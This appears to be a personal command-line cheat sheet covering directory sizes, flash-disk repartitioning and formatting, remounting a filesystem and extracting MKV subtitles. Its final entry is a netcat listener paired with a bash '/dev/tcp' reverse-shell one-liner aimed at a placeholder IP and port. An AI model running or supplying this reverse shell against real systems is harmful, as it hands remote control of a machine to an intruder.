directory size

$ du -sh /path/to/dir/*

flash disk recovery

$ sudo fdisk -l

$ sudo fdisk /dev/sdc

> d (delete partitions)
> n (new partition - primary)
> w (write changes)

$ sudo lsblk /dev/sdc1

$ sudo mkfs.vfat /dev/sdc1

$ sudo eject /dev/sdc

remount partition

$ mount -o remount,rw /

extract subtitles from mkv

$ brew install mkvtoolnix

$ mkvmerge -i <file>

$ mkvextract tracks <file> 3:sub3.srt 4:sub4.srt

nc bash reverse shell

attacker:
$  nc -n -vv -l -p <port>

victim:
$ /bin/bash -i > /dev/tcp/<ip>/<port> 0<&1 2>&1